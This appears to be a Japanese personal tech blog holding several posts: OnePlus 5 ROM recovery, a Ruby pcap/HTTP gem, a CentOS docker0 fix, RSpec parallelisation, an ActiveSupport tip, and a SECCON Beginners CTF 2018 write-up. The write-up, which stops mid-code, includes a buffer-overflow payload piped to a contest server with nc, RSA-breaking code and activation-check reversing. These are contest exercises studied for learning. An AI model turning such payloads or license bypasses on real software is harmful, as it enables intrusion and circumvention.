Androidスマホ OnePlus 5 が Decryption unsuccessful と表示されて起動できなくなった 起動できるようにするまでのメモ

はじめに

  • データは全部ロストしました。バックアップは大事なので常日頃取っときましょう😢
  • 原因は分かっていません
  • この手の問題を解決するために久々に苦労したし情報が纏まっていないのでメモ

物故割れた

朝起きてスマホを触ろうとしたら何故か電源が落ちていて、電源を付けたらこうなってた

f:id:naari_3:20190303000936j:plain
Decryption unsuccessful

Decryption unsuccessful

The password you entered is correct, but unfortunately your data is corrupt.

To resume using your phone, you need to perform a factory reset. When you set up your phone after the reset, you'll have an opportunity to restore any data that was backed up to your Google Account.

(雑な訳、僕はこう受け取った)
復号失敗

入力したパスワードはあってたけど、残念ながらあなたのデータは壊れてます。

スマホを使い続けるためにはファクトリーリセットが必要です。リセット後のセットアップ時、Googleアカウントにバックアップしたデータから復旧できるかもしれませんね。

何事かと思いながらも何回か再起動をしたが、同じ画面が出るだけ

こういう時は既に取っていたTWRPのバックアップデータからリストアすればいいのだろう、と思いリカバリーモードに入ったのだが、ストレージが全部なくなっているように見えた

f:id:naari_3:20190302222024j:plain
Systemがおかしい図

17592186044373MBって何… 17EB(エクサバイト)…?

自分の使っているモデルはストレージが128GBのモデルなので何らかを使って天元突破したんでしょうか、どうやら完全にパーティションがぶっ壊れている様子です 僕は寝てる間に何をしたんだ…?

  • TWRPのバックアップを外のストレージに逃したりするほど要領のよい自分ではなかったこと
  • 復旧させるほうがめんどくさいと判断したこと
  • 元々Android 7系から8系に上げられない要因(後述)が元々あったこと

等が重なり、良い機会だと思ってデータを完全に削除してファクトリーリセットをしようと考えた (一応メニュー上にあるfix filesystemなる項目は試してみたが状況変わらず)

ROMも物故割れてた

そのままTWRPでファクトリーリセットを試み、System(3GB弱)とInternal storage(112GB程度)の要領表示は元に戻ったが、起動できず…

それもそのはずで、/system 以下が全部ぶっ壊れていたのだからROMも全壊状態で、とすればROMを焼く他ないためROM焼きに専念することにした

ROMが焼けない

ROMを焼くと決まればまずは最新のROMをそのまま焼くことにした

最新のROMのバージョンは OOS 9.0.4で、Android 9.xベースらしい

以下からFull ROM Zipをダウンロード

[OFFICIAL] OxygenOS 9.0.4 (Android Pie 9.0) OTA for OnePlus 5 (cheeseburger)

これは余談なんですが、OnePlus系のスマホは面白くて、公式ROM(Oxygen OS、略称OOS)についての情報をOnePlusの人(?)がそのままXDAフォーラムに書き込んでくれている

OnePlus Oneの時はたしかCyanogenModが公式にROMを提供していて、標準ROMがCyanogenMod 11Sというものだった(後に色々あったため、今は独自ROMのOOSになった)というものあるためなのか、割とギークに優しい

話を戻して、ダウンロードしたzipして、焼く

TWRPの AdvancedADB sideloadを選択、受け付ける状態にした後に

adb sideload /path/to/OnePlus5Oxygen_23_OTA_047_all_1902221956_9e0803ddc2.zip

普通はこれで焼けるはずだが、何故か失敗する

失敗時のログを取っていなかったが、「 /vendor が壊れている 」 だとか「 E3004 this package is for "oneplus 5" devices; this is a "" 」のようなエラーだった覚えがある (Warning: No file_contexts Error: Vendor partition doesn't exist! も出たがこちらはもう一度ファクトリーリセットをかけたら表示されなくなった)

よくわからなかったが、詳しい知り合いに相談してみたところ、ちょっと前からAndroidでProject Trebleというものが始まっているらしく、 /vendor はそのためのディレクトリなのではないかということだった

juggly.cn

ここではProject Trebleについては大きく説明しない(よくわかっていないため)

OnePlus 5は登場してからそろそろ2年が経とうとしているわけで、そんな昔の端末でも対応しているのか分からなかったが、調べてみるとどうやら OOS 5.1.5 からProject Trebleに対応するようになったらしい

OnePlus 5 & OnePlus 5T get OxygenOS 5.1.5 with Project Treble support

forums.oneplus.com

つまりバージョンのアップデートで /vendor がまともになり、そうでないと 最新のOOSを焼くことが出来ないんじゃないか?と考えた

適当にそのままOOS 5.1.5を焼こうとしたがこれもまた焼くことが出来ず…

このときのエラーは E3005: This device is unlocked;bootstate: ""; sdk version "25". というエラーだった

そういえば昔「この端末で OOS 4.x (Android 7.x) から OOS 5.x (Android 8.x) にアップデートしようとした時、なぜかブートローダーをロックした状態でないとアップデート出来なかったなぁ、ブートローダーをロックするとデータが消えるし、面倒くさいし放置でいいや」となったことを思い出した

今回は既にデータを全損したので面倒くさがる理由も無くなったため、次はブートローダーをロックすることにした

公式のリカバリじゃないとだめ

というわけで次はブートローダーをロックする

fastbootに切り替えてからこれをする

fastboot oem lock

端末の操作をしてロック成功

さてTWRPからROMを焼こうとするが、TWRPが起動しない

どうやらlock状態ではTWRPは使えないようで、そんな状態からリカバリー的な行動を起こすためにはリカバリーを最初から入っていた標準のものに焼き変える必要があるとのことだった

以下で標準リカバリーのダウンロード

[OFFICIAL] OxygenOS 9.0.4 (Android Pie 9.0) OTA for OnePlus 5 (cheeseburger) (Stock recovery imagesという項目の “7.1.1_2017-05: OP5_recovery.img` のほう)

fastboot flash recovery /path/to/OP5_recovery.img

これであればlock状態でもリカバリーに入って焼くことが出来る

OOS 5.1.5のROMが焼けないのでアンロックしてからOOS 4.xのものを焼く

これでようやくOOS 5.1.5のROMが焼けるようになったので焼こうとしたが、焼くことが出来なかった (標準リカバリではTWRPと違い、ターミナル上の進捗表示が45%前後になるとエラーを吐いて死ぬ)

ここでまた思い出したことがあり、ブートローダーのロック/アンロックをした後は一度ROMを起動しないと正しく動かない事があるらしく、もしやそれに引っかかってしまったのでは?と考えてみた

そもそも前述したとおりにこの端末では未だ OOS 5.x の稼働実績がないこともあったため、もう一つ戻って OOS 4.x を入れてみることにした

今回はOOS 5 になる直前の OOS 4.5.15 を焼く

ROMは以下の公式リンクのコピー集からダウンロードした(XDAにも有志のミラー集があるが、Android transfileというアップローダーが激で遅いため以下からのダウンロードがおすすめ)

forums.oneplus.com

まずは念の為に前まで動いていた状態に戻すため、もう一度ブートローダーをアンロックする

fastboot oem unlock

標準リカバリーでもadb sideloadでROMが焼けるので焼く

adb sideload /path/to/OnePlus5Oxygen_23_OTA_020_all_1712052226_98fd584ab032fe.zip

これでようやく成功し、ROMの起動ができるようになった🎉

OOSのアップデートを繰り返す

この次に、まずは OOS 5.1.5 へのアップデートを目指すため、段階を踏んでのアップデートを行う

まずは OOS 5.1.1 へのアップデート (このバージョンを選んだ理由は大きくなく、殆ど当てずっぽうでアップデートした)

先程貼った公式ダウンロードリンク集から OOS 5.1.1 のROMのダウンロード、同じようにリカバリからROMを焼く

adb sideload /path/to/OnePlus5Oxygen_23_OTA_034_all_1804201219_3824995916a49ee.zip

こちらも問題なく成功

次に OOS 5.1.5 (さっき焼けなかったやつ) を焼いてみる

adb sideload /path/to/OnePlus5Oxygen_23_OTA_038_all_1808082017_ebb1d69f37.zip

こちらも成功!先程出来なかった工程が出来るようになった

OOS 5.x を焼くには lock状態 かつ ROMが存在する状態でないと成功しないのかもしれない

OTAで OOS 9.0.4 へアップデート

OOS 5.1.5 の起動を確認したところ、 OOS 9.0.4 へのアップデートを催促されたため、そのままアップデート (OTAで1.6GBのファイル落とさせるのってどうなんですかね…)

既に上記の手順でクリーンになっているためか、問題なく終了した

消えたデータはどうしようもなかったが、なんとか起動できる状態まで持ち込めた

つまり我々はどうすればよかったのか

今回成功した手順のみを書き記していくと以下のようになる

  • TWRPでFactory Reset
  • 標準リカバリの書き込み
  • ブートローダーのロック
  • OOS 4.5.15 の書き込み
    • 一回起動しておくこと
  • OOS 5.1.1 の書き込み
  • OOS 5.1.5 の書き込み
  • OOS 9.0.4 へOTAでアップデート

結局具体的に何が原因でこうなったのか、何が良くて成功出来たのか分からなかったが、起動できるようになったので良しとしましょう

余談: LineageOSの最新版もすぐに焼けなかった

最初に OOS 9.0.4 を焼こうとした後、LineageOSの最新版も焼こうとしたが、こちらも失敗した

XDAのフォーラムを見てみると HOW TO INSTALL LINEAGEOS の欄に

Make sure your phone was running OxygenOS 5.1 at least once and is currently on latest firmware

と書いてあり、一度 OOS 5.1.x を起動する必要があったようだ

もしかしたら先程 OOS 4 の後に.OOS 5.1.1 を焼いたのは知らずに良い手を打っていたのかもしれない

さいごに

一体何故こうなったのか分かっておらず、こういった状態になると近いうちにまた同じ問題が起こるのではないかと不安になる

スマホも特定のアプリしか使っていなかった上に殆どの情報がクラウド上に保存されている状態だったため、次回使えるようになるまでの復旧は楽だろうが、遠出中に急にこのような事態になると困ってしまう、こわい

早いうちに機種変しようかなぁ…高い出費こわいなぁ…

pcapファイルからhttpリクエストとレスポンスを扱えるように色々するgem httpcap-rbを公開した

httpcap-rbを公開しました

rubygems.org

github.com

未練

本当はhttpcapっていう名前で公開したかったけど2年程前に既に名前が取られてたし、しかも内容が

module HTTPCap

end

のみとかいう殆ど機能していないライブラリで、とても悔しかったんですがどうにもできないのでhttpcap-rbという名前にしました

機能

pcapファイルからTCPのsend/recvのパケットをよしなに結合したあと、HTTPのメッセージとしてパースして、HTTPリクエストとHTTPレスポンスを一つの纏まりとして固めてから返します

require 'httpcap'
HTTPcap.http_flows('./http.pcap') do |flow|
  p flow.request.body
  # => "{\"userId\":12345}"
  p flow.request.headers['Authorization']
  # => "Bearer hogehoge123455567890"
  p flow.response.http_status
  # => 200
  p flow.response.body
  # => "{\"userId\":12345,\"name\":\"naari3\",\"author\":true}"
  p flow.request.headers['Content-Length']
  # => "46"
end

(これ、リクエストとレスポンスを1:1として考えてるんですけど、もしかして仕様的に間違ってたりしますか?)

なお、httpsとかの暗号化された通信については特に考慮されてません

そのうちしたいけど、平文の通信だけ捌けるようになった今、自分の要件を満たすことは出来たのであまりモチベがない

実装

TCPのパケットの結合と振り分け

tcpの結合や取り扱いは reassemble_tcp というgemをそのまま使用しました

wiresharkと同じ結合をしてくれます(synとackを見てbodyをくっつけるアレ)

READMEに書かれている ReassembleTcp.tcp_data_stream を使うとセッションが担保されなくなったり、pktじゃなくてbodyだけが返ってきたりするので ReassembleTcp.tcp_connections を使うと良いです (こっちはPacketFuでパースされたあとの各packetが返る)

というわけで ReassembleTcp.tcp_connections を使うとtcpの各セッションごとに格納、かつ結合されたパケットが返ってきます

各セッションの結合後のパケットを #each_slice(2) を使って回します
おそらくどちらか片方ががリクエストで、もう片方がレスポンスなのでそう思ってパースをします

HTTPメッセージのパース

HTTPのメッセージはリクエストとレスポンスの両方を捌く必要があります

PumaとかWEBrickみたいなよく使われているライブラリがパースした結果を使うことが出来ればそれなりにリッチなものが返せるかと期待したんですが、リクエストとレスポンスの両方を良い感じに扱った実装を見つけることが出来ませんでした

例えば WEBrick::HTTPRequest には #parse というのがいてIOを渡すとよしなにHTTPのパースをしてくれるらしいんですが、 WEBrick::HTTPResponse#parse は存在しません

なぜならサーバーの実装としてHTTPのメッセージをパースする機能は、クライアントからのリクエストを解釈する時以外に必要ないからです

なので、CとかC++とかに存在する素朴なHTTPパーサー実装のRubyバインドを探すことにしました (つまり要素によしなにアクセスしたりする部分は自分で書かなければいけない…)

今回は http-parser-lite を使いました

httpの気持ちは知らないので何故httpのパーサーがおおよそオブザーバーパターンなのがよくわからないんですが、上のgemも例に漏れずオブザーバーパターンを採用したものになっています

他と違ってこういう書き方が出来るのが特徴とのことですが、

parser = HTTP::Parser.new

parser.on_message_begin do
  puts "message begin"
end

parser.on_message_complete do
  puts "message complete"
end

parser.on_status_complete do
  puts "status complete"
end

今回は上記の機能を使うことでうまいことリクエストとレスポンスのクラスの抽象化が出来ました

# リクエストとレスポンスの抽象概念
class Message
  attr_reader :body, :headers

  def initialize(type, data)
    @parser = HTTP::Parser.new(type)
    # 略
    %i[on_message_complete on_url on_header_field on_header_value on_headers_complete on_body].each do |name|
      @parser.send(name, &method(name))
    end
    receive_data(data)
  end

  def on_header_field(value)
    @headers.stream(Headers::TYPE_FIELD, value)
  end

  def on_header_value(value)
    @headers.stream(Headers::TYPE_VALUE, value)
  end

  def on_headers_complete
    @headers.stream_complete
  end
  # 略
end

ヘッダーが存在することとボディが存在することは共通なのでこのクラスで実装して、それ以外の差異を継承先のクラスで実装する形をとっています

ふあんなこと

  • TCPのシーケンス順に2つずつ結合済みパケットを取得して 片方をリクエスト、片方をレスポンス、と組を雑に決めてしまったが、もしかしてもうちょっとまともにリクエストとレスポンスの組を特定する方法がある??
  • 自由な内容のpcapファイルを作る方法がわからない…(調べていない)のでテストケースが不足している
    • ノイズとして別のTCPパケットも紛れ込んできそうだよね

おわりに

今回は久々に自分の要望がメインとなってgemをつくることになったが、モチベの保持がとても楽でよかったです

自分の作りたいものが出てこないというのが失格感あって悲しいので、問題解決を頑張っていきたいと思います

CentOS7.3でdocker0がないため/ネットワークの重複でdocker0が作成されなかったのでdocker.serviceが立ち上がらなかった

docs.docker.com

↑に従ってインストールしてる時、

$ sudo systemctl start docker

で失敗した

以下はjournalctlのログ

12月 20 16:09:52 example systemd[1]: docker.service holdoff time over, scheduling restart.
12月 20 16:09:52 example systemd[1]: Starting Docker Application Container Engine...
-- Subject: Unit docker.service has begun start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit docker.service has begun starting up.
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180328678+09:00" level=info msg="parsed scheme: \"unix\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180393506+09:00" level=info msg="scheme \"unix\" not registered, fallback to default scheme" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180440304+09:00" level=info msg="parsed scheme: \"unix\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180449023+09:00" level=info msg="scheme \"unix\" not registered, fallback to default scheme" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.183865860+09:00" level=info msg="[graphdriver] using prior storage driver: overlay2"
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184705891+09:00" level=info msg="ccResolverWrapper: sending new addresses to cc: [{unix:///run/containerd/containerd.sock 0  <nil>}]" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184734395+09:00" level=info msg="ClientConn switching balancer to \"pick_first\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184783244+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612910, CONNECTING" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184977899+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612910, READY" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185005436+09:00" level=info msg="ccResolverWrapper: sending new addresses to cc: [{unix:///run/containerd/containerd.sock 0  <nil>}]" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185016987+09:00" level=info msg="ClientConn switching balancer to \"pick_first\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185046636+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612be0, CONNECTING" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185160010+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612be0, READY" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.188935526+09:00" level=info msg="Graph migration to content-addressability took 0.00 seconds"
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.189454109+09:00" level=info msg="Loading containers: start."
12月 20 16:09:52 example dockerd[26871]: Error starting daemon: Error initializing network controller: list bridge addresses failed: no available network
12月 20 16:09:52 example systemd[1]: docker.service: main process exited, code=exited, status=1/FAILURE
12月 20 16:09:52 example systemd[1]: Failed to start Docker Application Container Engine.
-- Subject: Unit docker.service has failed
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit docker.service has failed.
--
-- The result is failed.

以上はjournalctlのログ

Error starting daemon: Error initializing network controller: list bridge addresses failed: no available network

ほう

$ ip l
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
    link/ether 00:50:56:b9:26:14 brd ff:ff:ff:ff:ff:ff
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
    link/ether 00:50:56:b9:76:49 brd ff:ff:ff:ff:ff:ff

なんでdocker0が生成されないんだ…

何故

追記(2018/12/24)

ちゃんと見てなかったのでとても恥ずかしいんですが、上記ルーティングの ens192 というやつがこういうroutingをしていた

$ ip r
172.16.0.0/12 via 10.26.149.254 dev ens192  proto static  metric 100

docker0 が作りたいルーティングは以下の通りで、ホストアドレス部分が被ってしまうためdockerインストール時にルーティングが作られないようだった

172.17.0.0/16 dev docker0  proto kernel  scope link  src 172.17.0.1

また、このままホストアドレス部分が被っているとまずいので被っているルーティングについて解決する必要がある

今回は ens192 側のサブネットマスクを大きくして必要な部分だけルーティングで追加していくのが手っ取り早そうだったので ens192 側を解決させた(ここでは省略するけども)

追記ここまで(2018/12/24)

作られなかったブリッジを作る

というわけで本来作ってくれるはずだった仮想ブリッジの docker0 を作ってあげます

$ sudo ip link add name docker0 type bridge
$ sudo ip addr add dev docker0 172.17.0.1/16
$ sudo systemctl start docker.service
$ sudo systemctl status docker.service
● docker.service - Docker Application Container Engine
   Loaded: loaded (/usr/lib/systemd/system/docker.service; disabled; vendor preset: disabled)
   Active: active (running) since 木 2018-12-20 16:32:23 JST; 3min 27s ago

docker0の使用するip帯を変えるには

追記(2018/12/24)

もしdocker側を変えたい場合はdocker daemon起動時の引数に --bip=他のアドレス を指定すると良いです

$ sudo systemctl stop docker
$ sudo ip link set dev docker0 down
$ sudo ip link del dev docker0
$ ip r
default via 10.0.2.2 dev enp0s3  proto static  metric 100
10.0.2.0/24 dev enp0s3  proto kernel  scope link  src 10.0.2.15  metric 100
172.18.0.0/16 dev br-da27a92cc9df  proto kernel  scope link  src 172.18.0.1
192.168.100.0/24 dev enp0s8  proto kernel  scope link  src 192.168.100.20  metric 100
// docker0 がないことを確認する

$ cat /usr/lib/systemd/system/docker.service
~~省略~~
[Service]
~~省略~~
+EnvironmentFile=/etc/sysconfig/docker
-ExecStart=/usr/bin/dockerd -H unix://
+ExecStart=/usr/bin/dockerd -H unix:// $OPTIONS
~~省略~~

$ cat /etc/sysconfig/docker
+OPTIONS="--bip=10.17.0.1/16"

$ sudo systemctl daemon-reload
$ sudo systemctl start docker
$ ip r
default via 10.0.2.2 dev enp0s3  proto static  metric 100
10.0.2.0/24 dev enp0s3  proto kernel  scope link  src 10.0.2.15  metric 100
172.18.0.0/16 dev br-da27a92cc9df  proto kernel  scope link  src 172.18.0.1
10.17.0.0/16 dev docker0  proto kernel  scope link  src 10.17.0.1
192.168.100.0/24 dev enp0s8  proto kernel  scope link  src 192.168.100.20  metric 100
// docker0のdestがbipで指定したやつになっている💯

追記ここまで(2018/12/24)

さいごに

おわりです

参考

github.com

qiita.com

Railsで動くRspecのテストが遅いのでparallel_testsを導入してみる

--- ここからテンプレ --- 仕事で関わっているRailsアプリではPRの最新コミットのごとにCIが周る。
CIはcloneしたRailsアプリに対してRspecを実行し、その結果がリポジトリに反映される。

という、ごく普通のフローが存在するが、リポジトリが成長すると共にテストもそれなりに数を増やし、共にRspecの実行時間もそれなりに伸び、つまりCIの実行時間も伸びていく。

CIの結果を頼りにレビューをする方も居るだろうし、CIの結果がわからないとマージはできないように、CIの結果を待たなければいけないケースはそれなりに発生すると思っている。

そういった待ち時間は時間の程度にも寄るが、他の作業の妨げになるかもしれない。他の作業の妨げになるのであれば、待ち時間は短ければ短いほど良く、つまりテストの実行時間は早ければ早いほど良いということだろう。

--- ここまでテンプレ ---

ただあまり大きな労力はかけたくない(めんどくさい)ので、まずは大きく有効そうな手立てから試していきたい。

parallel_tests とは

github.com

簡単に言えば

  • CPUのコア毎にRspecのプロセスを立ち上げてテストを並列実行する

というもの

癖はあるようで、

  • プロセスごとに独立したDBが必要(rails db:setup のように複数のDBを作るためのrakeタスクは存在している)
  • 実行時にファイルサイズを鑑みていて、各プロセスに渡るspecファイルの合計ファイルサイズが近くなるように振り分けられる
    • 小さなファイルサイズでも激重なテストケースが入っている場合は考慮されない

ということらしいが、導入はそんなに苦なものではないようなので一旦導入してみた

導入方法

Gemfileに以下を追加してbundle install

# Gemfile
gem 'parallel_tests', group: %i[development test]
$ bundle install

test用のdatabaseを作る

# config/database.yml
test:
  database: yourproject_test<%= ENV['TEST_ENV_NUMBER'] %>
# 環境変数 `TEST_ENV_NUMBER` に実行されるプロセスの番号が入ってくるらしい
$ rails parallel:setup

これでコア数に応じて

  • yourproject_test
  • yourproject_test2
  • yourproject_test3
  • yourproject_test4

みたいに4つのdatabaseができるはず

おそらくお手持ちのRailsアプリケーションはmemcachedやRedisなどを噛んでいると思うが、その場合は先程書いた環境変数 TEST_ENV_NUMBER を使ってそれぞれのネームスペースを切ると良さそう(以下参照2つ)

# config/environments/test.rb
config.cache_store = :memory_store, { namespace: "yourproject_test#{ENV['TEST_ENV_NUMBER']}" }
# mastodonの例
# spec/rails_helper.rb
Redis.current = Redis::Namespace.new("mastodon_test#{ENV['TEST_ENV_NUMBER']}", redis: Redis.current)

あと何故かcache_storeがfile_store(未指定時デフォ)の場合、テストが途中で死ぬ(下記エラー)ことがあった
多分 Rails.cache.clear! で別プロセスが参照するキャッシュが消えたんだと思う、ここをうまく切るためにnamespaceを儲けようとしたが結局うまく行かなかったので一旦はmemory_storeを使うように変更している

Errno::ENOENT:
     #   No such file or directory @ apply2files - /Users/naari3/src/github.com/naari3/some_project/tmp/cache/FB1/000/.permissions_check.70365749710360.44558.326263
     #   ./app/models/user.rb:25:in `info

実行

実行する

$ rails parallel:spec
4 processes for 224 specs, ~ 56 specs per process

Randomized with seed 58546
....
Randomized with seed 39588
..
Randomized with seed 40142
......................
Randomized with seed 39700
........
(省略)
Coverage report generated for (1/4), (2/4), (3/4), (4/4), RSpec to /Users/naari3/src/github.com/naari3/some_project/coverage. 4352 / 5499 LOC (79.14%) covered.

1707 examples, 0 failures, 1 pending

Took 171 seconds (2:41)

このマシンには4コア積まれているので4プロセス立ち上がってそれぞれ実行された

なお普通にRspecを実行した際のログはこちら

$ bundle exec rspec
(省略)
Finished in 6 minutes 35 seconds (files took 5.08 seconds to load)
1707 examples, 0 failures, 1 pending

開発マシンで裏で色々立ち上がっている中、parallel_tests経由で並行に実行するだけで 1/2 くらいの実行時間にすることができた

実際はおそらくエージェントとかDockerプロセスとか最低限のものだけが立ち上がっているCIの環境上で動かされるのでコア数分だけ数倍速になるんだろうなぁと思っている(まだ動かしてない)

ActiveSupport 「空文字列の場合はデフォルト文字列」を三項演算子を使わないで解決する

ものすごく当たり前な話なんですが僕はなぜかずっと気づかなかったので記念として記事にします

qiita.com

対象が空文字列の場合は何らかデフォルトの文字列、空じゃなかったら対象をそのまま使うやつ

name.present? ? name : '名無し'

ActiveSupportを入れていると様々なメソッドが拡張されるけど、 Object#presence メソッドが生える

github.com

def presence
  self if present?
end

なのでこうできる

name.presence || '名無し'

JSだと空文字列はfalse判定なので直接文字列と||を並べてしまえばいいが、Rubyの空文字列はtrueと判定される

そのためActiveSupportに頼らざるを得なくなる

やはりActiveSupportは便利、我々はRailsではなくActiveSupportを愛しているのである

SECCON Beginners CTF 2018 write-up

僕は全問解いていないので、全問揃ったWrite-upが見たい場合は他の方が書いたこのwrite-upがよさそうです → SECCON Beginners CTF 2018 Write-up - Qiita

SECCON Beginners CTF 2018 にチーム SQUID として参加しました

「チーム名はいかした名前がいいよね」ということで決まったチーム名でした

1343点で43位でした

はじめてのチーム参加でしたが、自分ひとりだけの知恵で戦う必要がなく、とても良い体験でした

僕は16問中11問解き、今回の記事では解いたものに関してのwrite-upを記述しています

f:id:naari_3:20180527140029p:plain

Crypto

[Warmup] Veni, vidi, vici はチームの zzuf が解きました Streaming はチームの taryan が解きました

この分野ほんとうにわからんし一番望みがないものだったのでありがたい :pray:

RSA is Power

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

そんなに大きくない桁のRSA暗号でした

N素因数分解すれば良いので msieve に通します

$ ./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577

~中略~

memory use: 2.6 MB
lanczos halted after 408 iterations (dim = 25732)
recovered 17 nontrivial dependencies
prp39 factor: 299681192390656691733849646142066664329
prp39 factor: 324144336644773773047359441106332937713
elapsed time 00:02:34

というわけで

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713

あとはCを復号します

import rsa
import binascii

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713


D = rsa.key.calculate_keys_custom_exponent(P, Q, E)[1]

plain = pow(C, D, N)

print(binascii.unhexlify(hex(plain)[2:]).decode('utf-8'))

ctf4b{5imple_rs4_1s_3asy_f0r_u}

Pwn

1問しか解いてません

1問解けたので満足しています

pwnはそれぞれサーバーのバイナリが用意されていました

[Warmup] condition

接続すると

Please tell me your name...

となり、 文字列を入力すると

Please tell me your name...testtest
Permission denied

となる

配布されているバイナリを逆アセンブルすると

   0x0000000000400796 <+37>:   mov    eax,0x0
   0x000000000040079b <+42>:   call   0x400620 <gets@plt>
=> 0x00000000004007a0 <+47>:   cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x00000000004007a7 <+54>:   jne    0x4007bf <main+78>

こんな感じで、getsで取得したバッファの後に 0xdeadbeef が入って入ればフラグが表示されるように分岐されるようなので、

python -c 'print "a" * 44 +"\xef\xbe\xad\xde"' | nc pwn1.chall.beginners.seccon.jp 16268

ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

Reversing

前までこのレベルでもうんともすんとも言わなかったので、今回は2つ解けてよかったです

BBSにも挑戦したのですが、 system にどうやって /bin/sh を渡すか分からず…

ROPを使うらしいが、そのROPの手法がよく分からなかったです、無念

[Warmup] Simple Auth

アセンブルすると入力された文字列とそのまま比較してる箇所があったので、それが答えでした

  4006a8:   c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  4006ac:   c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
  4006b0:   c6 45 d2 66             mov    BYTE PTR [rbp-0x2e],0x66
  4006b4:   c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  4006b8:   c6 45 d4 62             mov    BYTE PTR [rbp-0x2c],0x62
  4006bc:   c6 45 d5 7b             mov    BYTE PTR [rbp-0x2b],0x7b
  4006c0:   c6 45 d6 72             mov    BYTE PTR [rbp-0x2a],0x72
  4006c4:   c6 45 d7 65             mov    BYTE PTR [rbp-0x29],0x65
~省略~
  400700:   c6 45 e6 72             mov    BYTE PTR [rbp-0x1a],0x72
  400704:   c6 45 e7 64             mov    BYTE PTR [rbp-0x19],0x64
  400708:   c6 45 e8 7d             mov    BYTE PTR [rbp-0x18],0x7d

ctf4b{rev3rsing_p4ssw0rd}

Activation

この問題の FLAG は ctf4b{アクティベーションコード} です。

exeが降ってきてギョッとした、まだ慣れない…

file で見てみると.Netだったので dnSpy に入れます

ちょっと前まではILSpyを使ってたけどdnSpyのほうが見やすいしいいのでこっちを使いましょう

どうやら文字列が軽く暗号化されており、先にこれを復号しておく必要がありそうだったので複合する

f:id:naari_3:20180527144125p:plain
暗号化された文字列の図

数百程度の要素を持つbyte型の配列に対して以下のような感じで復号

crypted_list = [] # ここにbytes型(PythonではInt型)の要素が入る

decrypted_list = []
for i, c in enumerate(crypted_list):
    decrypted_list.append((j ^ i ^ 170) % 256)

print "".join(map(lambda x: chr(x), decrypted_list)) # 読める文字列

C#で取得されるときはこんな感じで、

public static string a()
{
    return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[1] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(1, 15, 35);
}
  • 用意されたstring型配列のindex 1に要素があれば返す
  • なければさっき復号した文字列の15番目から35文字を取り出して返す

といったものだったので、これ以降文字列を取る際はさっき復号した文字列から取ることになります

次に起動されてからアクティベーションコードが認証までを探ります

  • ドライブ一覧を取得
    • ルートディレクトリ内で *.* というルールでファイルを取得
    • いずれかのファイルが SECCON_BEGINNERS と等しければ flag変数を true にする
  • flag変数が false なら終了
  • AesCryptoServiceProviderのインスタンスを作成
    • BlockSize = 128
    • KeySize = 256
    • IV = "CTF4B7E1" + "CTF4B7E1"
    • Key = "SECCON_BEGINNERS"
    • Mode = CipherMode.ECB
    • Padding = PaddingMode.PKCS7
  • ユーザーが入力した文字列を上のAesCryptoServiceProviderで暗号化、base64した結果が E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5 と等しければ認証成功

といった感じでした

やることは簡単で、E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5を復号した結果が正しいアクティベーションコードなので、復号します

using System;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

public class Hello{
  public static void Main() {
    AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
    aesCryptoServiceProvider.BlockSize = 128;
    aesCryptoServiceProvider.KeySize = 256;
    aesCryptoServiceProvider.IV = Encoding.ASCII.GetBytes("CTF4B7E1" + "CTF4B7E1");
